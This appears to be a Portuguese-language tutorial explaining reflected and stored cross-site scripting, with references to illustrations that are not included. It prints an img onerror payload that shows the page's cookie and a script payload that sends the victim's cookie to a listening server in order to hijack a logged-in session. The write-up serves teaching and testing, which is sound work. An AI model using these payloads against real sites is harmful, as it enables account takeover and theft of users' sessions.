XSS - Cross Site Scripting

O XSS é uma vulnerabilidade que basicamente permite inserir um código javascript do lado do usuário. Existem três tipos, são eles: reflected XSS, stored XSS e DOM-based XSS. É utilizado junto com a engenharia social para causar impacto, já que a ideia dessa falha é executar um javascript malicioso no navegador da vítima.

Reflected XSS

Esse é o tipo de XSS mais simples e de menor impacto, como o próprio nome diz, ele apenas reflete o script quando for executado. Como no exemplo anterior, vamos supor que a aplicação possui uma entrada que permite passar um valor por parâmetro e exibe na tela esse valor.

Como esse parâmetro não é tratado com algum filtro corretamente no backend, a aplicação permite executar um código javascript que vai refletir para o usuário.

No exemplo a cima executamos apenas um alert para exibir algum valor na tela, mas poderia ser qualquer outro código que iria funcionar também. Podemos facilmente utilizar o javascript para redirecionar para outra página também, vai de acordo com a criatividade.

Podemos ver com mais detalhes no código fonte como que funciona essa falha.

Nesse exemplo, a aplicação exibe o resultado da busca "a" e exibe os usuários. Se for passado o mesmo javascript anterior, irá exibir um alert normalmente.

Olhando no código fonte, podemos ver claramente que a aplicação aceitou normalmente o script que injetamos e por isso foi executado como se fosse um código normal dela. Em alguns casos, é necessário fechar a tag anterior com "> e inserir o script para que funcione. Existem diversos payloads que faz um bypass desses filtros que tratam essas injeções.

Stored XSS

O XSS armazenado, é de longe o que mais causa impacto para o usuário. Vamos imaginar que uma aplicação tem alguma parte que salva informações e as exiba, como por exemplo em campos de comentários, alguma tabela de usuários, etc. Se essa parte for vulnerável a XSS, o script malicioso que for injetado irá ficar salvo no banco de dados, e consequentemente irá ficar salvo nessa página que existir a falha. Sendo assim, toda vez que o usuário for entrar nessa página, irá ser executado esse script malicioso e com isso ele se torna persistente. Um dos impactos que essa vulnerabilidade possibilita, é usar um javascript que irá enviar o cookie do usuário que estiver na sessão logada para algum servidor nosso que armazena esse cookie para podermos utilizar e consequentemente logar na conta do mesmo. Lembrando que é necessário que o usuário entre nessa página que contém esse javascript. Com isso se algum administrador logado entrar nessa página, conseguimos roubar a sessão dele.

Para fazer um teste, vamos utilizar o seguinte script. Ele irá chamar uma imagem com nome de "x" e consequentemente como ela não existe irá trigar um error executando um alert.

<img src=x onerror=alert(document.cookie)>

Ao entrar na página, ele irá executar e nos mostrar o nosso cookie.

Se olharmos no banco de dados, podemos ver que a informação foi armazenada, assim será exibido toda vez que essa página for carregada.

Se quisermos que o usuário seja redirecionado para um servidor e pegarmos o cookie dele, podemos fazer da seguinte forma:

<script>document.location="http://localhost:8080/?"+document.cookie</script>

Para isso, eu subi um servidor local e ao acessar a página conseguimos pegar o cookie e consequentemente logar com esse usuário.

Last updated